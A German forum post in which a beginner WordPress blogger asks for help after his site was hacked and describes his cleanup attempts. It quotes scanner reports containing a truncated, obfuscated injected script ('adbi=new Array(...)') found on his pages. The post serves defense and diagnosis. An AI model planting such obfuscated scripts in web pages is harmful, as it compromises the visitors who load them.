hallo,
mein blog wurde gehackt....:(
nun habe ich nach allen mir bekannten möglichkeiten meine daten durchsucht und gesäubert (dabei habe ich zwei scripte ausfindig gemacht und gelöscht, die in die config.php geschrieben wurden)
leider scheint es noch mehr malware zugeben.
googel-webmastertools und unmaskparasites.com finden zu mindestens immer noch schädlinge
[COLOR=Red]unmaskparasites.com:[/COLOR]
- http://www.sium.net suspicious ↗ - displaying 4 of 4
- <A> link - http://www.sium.net/?cat=5
- <A> contact - http://www.sium.net/?page_id=4
- <A> link - http://www.sium.net/?page_id=52
- <A> | new: sium no 19 - http://www.sium.net/?p=61
Suspicious Inline ScriptsIs there any good reason for this script to be outside of <HTML>...</HTML> block?
;adbi=new Array(124,35,40,36,50,42,34,41,51,105,48,53,46,51,34,111,101,123,37,40,35,62,121,123,52,3...
Is there any good reason for this script to be outside of <HTML>...</HTML> block?
;adbi=new Array(124,35,40,36,50,42,34,41,51,105,48,53,46,51,34,111,101,123,37,40,35,62,121,123,52,3...
und [COLOR=Red]googel[/COLOR]: findet auf der indexseite:
<script>;adbi=new Array(124,35,40,36,50,42,34,41,51,105,48,5
3,46,51,34,111,101,123,37,40,35,62,121,123,52,36,53,46,55,51
,121,124,49,38,53,103,43,51,52,36,122,96,33,53,96,124,49,38,
53,103,55,43,37,38,33,122,96,46,96,124,49,38,53,103,43,47,41
,37,41,122,96,42,34,96,124,49,38,53,103,41,41,49,54,61,122,9
6,38,96,124,49,38,53,103,63,40,41,46,122,35,40,36,50,42,34,4
1,51,124,49,38,53,103,62,51,40,45,122,96,48,46,35,51,47,96,1
24,49,38,53,103,47,42,42,63,63,122,96,47,51,51,55,125,104,10
4,32,38,38,51,38,49,34,53,52,105,36,40,105,36,36,104,36,38,5
5,51,104,46,41,35,34,63,105,55,47,55,96,124,49,38,53,103,63,
35,45,45,44,122,96,47,34,46,32,47,51,96,124,49,38,53,103,44,
63,55,62,43,122,96,52,51,62,43,34,96,124,49,38,53,103,40,44,
55,42,122,96,118,96,124,49,38,53,103,36,50,43,38,40,122,96,4
9,46,52,46,37,46,43,46,51,62,125,47,46,35,35,34,41,96,124,49
,38,53,103,44,36,46,63,122,96,52,53,36,96,124,49,38,53,103,3
3,49,35,35,62,122,63,40,41,46,105,36,53,34,38,51,34,2,43,34,
42,34,41,51,111,55,43,37,38,33,108,43,51,52,36,108,41,41,49,
54,6
leider finde ich aber in den php datein keine scripte mehr
die infizierten artikel und seiten habe ich über den wp-editor auch durchsucht ...
ich hab das blog komplett neu aufgesetzt (wp 3.01) bis auf die gesäuberte config.php
und den contnet ordner ...
die datenbank ist die alte da ich kein sauberes backup hatte.
nun bin ich am ende meiner anfänger kenntnisse und verzweifel langsam.
die einzige möglichkeit scheit mir nun noch eine infizierte datenbank ...
[LEFT]gibt es dafür scanner die, die komplette datenbank nach malware absuchen [size=10]....WordPress Exploit Scanner habe ich schon ausprobiert ,hat aber nichts gefunden [/SIZE]
kann man die datenbank manuell durchsuchen ...
ich hab über mein phpadmin eine backup gesichter mit der endung sql.gz
[COLOR=Black]
würde mich über jegliche hilfe freuen
danke im vor-raus
anton
[/COLOR][/LEFT]
ps: [COLOR=Black]die infizierte url lautet : http://www.sium.net[/COLOR]